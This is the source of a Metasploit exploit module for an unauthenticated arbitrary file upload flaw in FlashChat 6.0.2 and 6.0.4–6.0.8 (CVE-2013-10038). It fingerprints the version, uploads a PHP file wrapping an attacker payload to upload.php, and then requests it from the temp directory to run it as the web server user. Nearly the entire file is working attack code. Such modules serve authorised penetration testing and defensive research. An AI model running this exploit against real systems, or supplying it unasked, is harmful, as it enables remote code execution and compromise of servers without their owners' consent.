Path: blob/master/modules/exploits/unix/webapp/flashchat_upload_exec.rb
24014 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => "FlashChat Arbitrary File Upload",17'Description' => %q{18This module exploits a file upload vulnerability found in FlashChat19versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload20feature in order to upload malicious PHP files without authentication21which results in arbitrary remote code execution as the web server user.22},23'License' => MSF_LICENSE,24'Author' => [25'x-hayben21', # Discovery and PoC26'bcoles' # Metasploit27],28'References' => [29['CVE', '2013-10038'],30['OSVDB', '98233'],31['EDB', '28709']32],33'Payload' => {34'BadChars' => "\x00"35},36'Arch' => ARCH_PHP,37'Platform' => 'php',38'Targets' => [39# Tested on FlashChat version 6.0.840[ 'Generic (PHP Payload)', {} ]41],42'Privileged' => false,43'DisclosureDate' => '2013-10-04',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])56]57)58end5960#61# Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.862#63def check64uri = normalize_uri(target_uri.path, '')65res = send_request_raw({ 'uri' => uri })6667if not res68vprint_error("Connection timed out")69return Exploit::CheckCode::Unknown70end7172version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''7374if version.empty?75return Exploit::CheckCode::Unknown76end7778vprint_status("Version found: #{version}")7980if version =~ /6\.0\.(2|4|5|6|7|8)/81return Exploit::CheckCode::Appears82elsif version <= "6.0.8"83return Exploit::CheckCode::Detected84else85return Exploit::CheckCode::Safe86end87end8889#90# Uploads our malicious file91# Stolen from havalite_upload_exec.rb92#93def upload(base)94fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"95php = "<?php #{payload.encoded} ?>"96data = Rex::MIME::Message.new97data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")98post_data = data.to_s99100res = send_request_cgi({101'method' => 'POST',102'uri' => normalize_uri(base, 'upload.php'),103'ctype' => "multipart/form-data; boundary=#{data.bound}",104'data' => post_data105})106107if not res108fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")109elsif res.code.to_i == 404110fail_with(Failure::NotFound, "#{peer} - No upload.php found")111elsif res.code.to_i == 500112fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")113end114115return fname116end117118#119# Executes our uploaded malicious file120# Stolen from havalite_upload_exec.rb121#122def exec(base, payload_fname)123res = send_request_raw({124'uri' => normalize_uri(base, 'temp', payload_fname)125})126127if res and res.code == 404128fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")129end130end131132def exploit133base = target_uri.path134135# upload136print_status("Uploading malicious file...")137fname = upload(base)138139# register the file to clean140register_files_for_cleanup(fname)141142# exec143print_status("Executing #{fname}...")144exec(base, fname)145end146end147148149